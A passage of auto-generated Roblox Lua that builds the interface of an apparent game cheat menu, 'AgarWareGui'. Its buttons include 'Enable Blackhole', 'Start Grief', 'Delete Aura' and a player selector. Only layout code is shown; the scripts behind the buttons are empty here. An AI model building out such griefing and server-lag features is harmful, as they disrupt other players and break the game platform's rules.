-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript
G2L["1c3"] = Instance.new("LocalScript", G2L["1c2"]);
G2L["1c3"]["Name"] = [[BlackholeLagScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagText
G2L["1c4"] = Instance.new("TextLabel", G2L["1c2"]);
G2L["1c4"]["BorderSizePixel"] = 0;
G2L["1c4"]["TextSize"] = 14;
G2L["1c4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c4"]["BackgroundTransparency"] = 1;
G2L["1c4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c4"]["Text"] = [[Enable Blackhole]];
G2L["1c4"]["Name"] = [[BlackholeLagText]];
G2L["1c4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagTickBox
G2L["1c5"] = Instance.new("TextButton", G2L["1c2"]);
G2L["1c5"]["TextSize"] = 14;
G2L["1c5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c5"]["Text"] = [[]];
G2L["1c5"]["Name"] = [[BlackholeLagTickBox]];
G2L["1c5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow
G2L["1c6"] = Instance.new("Frame", G2L["1a7"]);
G2L["1c6"]["BorderSizePixel"] = 0;
G2L["1c6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c6"]["Name"] = [[TPBlackholeRow]];
G2L["1c6"]["LayoutOrder"] = 20;
G2L["1c6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow.TPBlackholeButton
G2L["1c7"] = Instance.new("TextButton", G2L["1c6"]);
G2L["1c7"]["TextSize"] = 14;
G2L["1c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c7"]["Text"] = [[Bring Blackhole]];
G2L["1c7"]["Name"] = [[TPBlackholeButton]];
G2L["1c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow
G2L["1c8"] = Instance.new("Frame", G2L["1a7"]);
G2L["1c8"]["BorderSizePixel"] = 0;
G2L["1c8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c8"]["Name"] = [[OrbitBlackholeRow]];
G2L["1c8"]["LayoutOrder"] = 12;
G2L["1c8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeText
G2L["1c9"] = Instance.new("TextLabel", G2L["1c8"]);
G2L["1c9"]["BorderSizePixel"] = 0;
G2L["1c9"]["TextSize"] = 14;
G2L["1c9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c9"]["BackgroundTransparency"] = 1;
G2L["1c9"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c9"]["Text"] = [[Orbit]];
G2L["1c9"]["Name"] = [[OrbitBlackholeText]];
G2L["1c9"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeChanger
G2L["1ca"] = Instance.new("TextBox", G2L["1c8"]);
G2L["1ca"]["Name"] = [[OrbitBlackholeChanger]];
G2L["1ca"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ca"]["TextWrapped"] = true;
G2L["1ca"]["TextSize"] = 14;
G2L["1ca"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ca"]["TextScaled"] = true;
G2L["1ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ca"]["PlaceholderText"] = [[(10)]];
G2L["1ca"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["1ca"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["1ca"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1ca"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeTickBox
G2L["1cb"] = Instance.new("TextButton", G2L["1c8"]);
G2L["1cb"]["TextSize"] = 14;
G2L["1cb"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1cb"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1cb"]["Text"] = [[]];
G2L["1cb"]["Name"] = [[OrbitBlackholeTickBox]];
G2L["1cb"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow
G2L["1cc"] = Instance.new("Frame", G2L["1a7"]);
G2L["1cc"]["BorderSizePixel"] = 0;
G2L["1cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1cc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cc"]["Name"] = [[BlackholeLabelRow]];
G2L["1cc"]["LayoutOrder"] = 10;
G2L["1cc"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow.BlackholeLabelText
G2L["1cd"] = Instance.new("TextLabel", G2L["1cc"]);
G2L["1cd"]["BorderSizePixel"] = 0;
G2L["1cd"]["TextSize"] = 14;
G2L["1cd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cd"]["BackgroundTransparency"] = 1;
G2L["1cd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cd"]["Text"] = [[Blackhole:]];
G2L["1cd"]["Name"] = [[BlackholeLabelText]];
G2L["1cd"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup
G2L["1ce"] = Instance.new("Frame", G2L["186"]);
G2L["1ce"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1ce"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1ce"]["Size"] = UDim2.new(0, 170, 0, 123);
G2L["1ce"]["Position"] = UDim2.new(0, 0, 1.05278, 0);
G2L["1ce"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1ce"]["Name"] = [[GriefGroup]];
G2L["1ce"]["LayoutOrder"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript
G2L["1cf"] = Instance.new("LocalScript", G2L["1ce"]);
G2L["1cf"]["Name"] = [[GriefScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.UIListLayout
G2L["1d0"] = Instance.new("UIListLayout", G2L["1ce"]);
G2L["1d0"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAccentColor
G2L["1d1"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1d1"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1d1"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1d1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1d1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1d1"]["Name"] = [[GriefAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle
G2L["1d2"] = Instance.new("TextLabel", G2L["1ce"]);
G2L["1d2"]["TextWrapped"] = true;
G2L["1d2"]["BorderSizePixel"] = 0;
G2L["1d2"]["TextSize"] = 14;
G2L["1d2"]["TextScaled"] = true;
G2L["1d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d2"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1d2"]["BackgroundTransparency"] = 0.95;
G2L["1d2"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d2"]["Text"] = [[Grief]];
G2L["1d2"]["LayoutOrder"] = 1;
G2L["1d2"]["Name"] = [[GriefTitle]];
G2L["1d2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle.GriefMinimize
G2L["1d3"] = Instance.new("TextButton", G2L["1d2"]);
G2L["1d3"]["BorderSizePixel"] = 0;
G2L["1d3"]["TextSize"] = 14;
G2L["1d3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d3"]["BackgroundTransparency"] = 1;
G2L["1d3"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1d3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d3"]["Text"] = [[-]];
G2L["1d3"]["Name"] = [[GriefMinimize]];
G2L["1d3"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow
G2L["1d4"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d4"]["BorderSizePixel"] = 0;
G2L["1d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d4"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d4"]["Name"] = [[SelectDRow]];
G2L["1d4"]["LayoutOrder"] = 3;
G2L["1d4"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript
G2L["1d5"] = Instance.new("LocalScript", G2L["1d4"]);
G2L["1d5"]["Name"] = [[SelectDScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDDropdown
G2L["1d6"] = Instance.new("TextButton", G2L["1d4"]);
G2L["1d6"]["TextSize"] = 14;
G2L["1d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d6"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d6"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1d6"]["Text"] = [[]];
G2L["1d6"]["Name"] = [[SelectDDropdown]];
G2L["1d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow
G2L["1d7"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d7"]["BorderSizePixel"] = 0;
G2L["1d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d7"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d7"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d7"]["Name"] = [[GPLabelRow]];
G2L["1d7"]["LayoutOrder"] = 2;
G2L["1d7"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow.GPLabelText
G2L["1d8"] = Instance.new("TextLabel", G2L["1d7"]);
G2L["1d8"]["BorderSizePixel"] = 0;
G2L["1d8"]["TextSize"] = 14;
G2L["1d8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d8"]["BackgroundTransparency"] = 1;
G2L["1d8"]["Size"] = UDim2.new(0, 114, 0, 20);
G2L["1d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d8"]["Text"] = [[Select Players:]];
G2L["1d8"]["Name"] = [[GPLabelText]];
G2L["1d8"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow
G2L["1d9"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d9"]["BorderSizePixel"] = 0;
G2L["1d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d9"]["Name"] = [[HLBlockRow]];
G2L["1d9"]["LayoutOrder"] = 4;
G2L["1d9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript
G2L["1da"] = Instance.new("LocalScript", G2L["1d9"]);
G2L["1da"]["Name"] = [[HLBlockScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockTickBox
G2L["1db"] = Instance.new("TextButton", G2L["1d9"]);
G2L["1db"]["TextSize"] = 14;
G2L["1db"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1db"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1db"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1db"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1db"]["Text"] = [[]];
G2L["1db"]["Name"] = [[HLBlockTickBox]];
G2L["1db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockText
G2L["1dc"] = Instance.new("TextLabel", G2L["1d9"]);
G2L["1dc"]["BorderSizePixel"] = 0;
G2L["1dc"]["TextSize"] = 14;
G2L["1dc"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dc"]["BackgroundTransparency"] = 1;
G2L["1dc"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1dc"]["Text"] = [[Highlight Blocks]];
G2L["1dc"]["Name"] = [[HLBlockText]];
G2L["1dc"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow
G2L["1dd"] = Instance.new("Frame", G2L["1ce"]);
G2L["1dd"]["BorderSizePixel"] = 0;
G2L["1dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dd"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1dd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1dd"]["Name"] = [[ToggleGriefRow]];
G2L["1dd"]["LayoutOrder"] = 6;
G2L["1dd"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript
G2L["1de"] = Instance.new("LocalScript", G2L["1dd"]);
G2L["1de"]["Name"] = [[ToggleGriefScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefButton
G2L["1df"] = Instance.new("TextButton", G2L["1dd"]);
G2L["1df"]["TextSize"] = 14;
G2L["1df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1df"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1df"]["Text"] = [[Start Grief]];
G2L["1df"]["Name"] = [[ToggleGriefButton]];
G2L["1df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow
G2L["1e0"] = Instance.new("Frame", G2L["1ce"]);
G2L["1e0"]["BorderSizePixel"] = 0;
G2L["1e0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e0"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1e0"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1e0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e0"]["Name"] = [[GriefAllRow]];
G2L["1e0"]["LayoutOrder"] = 6;
G2L["1e0"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript
G2L["1e1"] = Instance.new("LocalScript", G2L["1e0"]);
G2L["1e1"]["Name"] = [[GriefAllScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllButton
G2L["1e2"] = Instance.new("TextButton", G2L["1e0"]);
G2L["1e2"]["TextSize"] = 14;
G2L["1e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e2"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1e2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1e2"]["Text"] = [[Delete Aura]];
G2L["1e2"]["Name"] = [[GriefAllButton]];
G2L["1e2"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage
G2L["1e3"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["1e3"]["Visible"] = false;
G2L["1e3"]["Active"] = true;
G2L["1e3"]["BorderSizePixel"] = 0;
G2L["1e3"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["1e3"]["Name"] = [[TCODetectionPage]];
G2L["1e3"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["1e3"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["1e3"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e3"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["1e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e3"]["ScrollBarThickness"] = 0;
G2L["1e3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide
G2L["1e4"] = Instance.new("Frame", G2L["1e3"]);
G2L["1e4"]["BorderSizePixel"] = 0;
G2L["1e4"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["1e4"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["1e4"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["1e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e4"]["Name"] = [[TCODetectionLeftSide]];
G2L["1e4"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.UIListLayout
G2L["1e5"] = Instance.new("UIListLayout", G2L["1e4"]);
G2L["1e5"]["Padding"] = UDim.new(0, 7);
G2L["1e5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup
G2L["1e6"] = Instance.new("Frame", G2L["1e4"]);
G2L["1e6"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1e6"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1e6"]["Size"] = UDim2.new(0, 170, 0, 100);
G2L["1e6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1e6"]["Name"] = [[EnableGroup]];
G2L["1e6"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript
G2L["1e7"] = Instance.new("LocalScript", G2L["1e6"]);
G2L["1e7"]["Name"] = [[EnableScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip
G2L["1e8"] = Instance.new("LocalScript", G2L["1e6"]);
G2L["1e8"]["Name"] = [[EnableToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.UIListLayout
G2L["1e9"] = Instance.new("UIListLayout", G2L["1e6"]);
G2L["1e9"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableAccentColor
G2L["1ea"] = Instance.new("Frame", G2L["1e6"]);
G2L["1ea"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ea"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1ea"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1ea"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1ea"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1ea"]["Name"] = [[EnableAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle
G2L["1eb"] = Instance.new("TextLabel", G2L["1e6"]);
G2L["1eb"]["TextWrapped"] = true;
G2L["1eb"]["BorderSizePixel"] = 0;
G2L["1eb"]["TextSize"] = 14;
G2L["1eb"]["TextScaled"] = true;
G2L["1eb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1eb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1eb"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1eb"]["BackgroundTransparency"] = 0.95;
G2L["1eb"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1eb"]["Text"] = [[Grief Monitor]];
G2L["1eb"]["LayoutOrder"] = 1;
G2L["1eb"]["Name"] = [[EnableTitle]];
G2L["1eb"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableMinimize
G2L["1ec"] = Instance.new("TextButton", G2L["1eb"]);
G2L["1ec"]["BorderSizePixel"] = 0;
G2L["1ec"]["TextSize"] = 14;
G2L["1ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ec"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ec"]["BackgroundTransparency"] = 1;
G2L["1ec"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1ec"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ec"]["Text"] = [[-]];
G2L["1ec"]["Name"] = [[EnableMinimize]];
G2L["1ec"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableHelp
G2L["1ed"] = Instance.new("TextButton", G2L["1eb"]);
G2L["1ed"]["TextSize"] = 14;
G2L["1ed"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1ed"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ed"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ed"]["Size"] = UDim2.new(0, 12, 0, 12);
G2L["1ed"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ed"]["Text"] = [[?]];
G2L["1ed"]["Name"] = [[EnableHelp]];
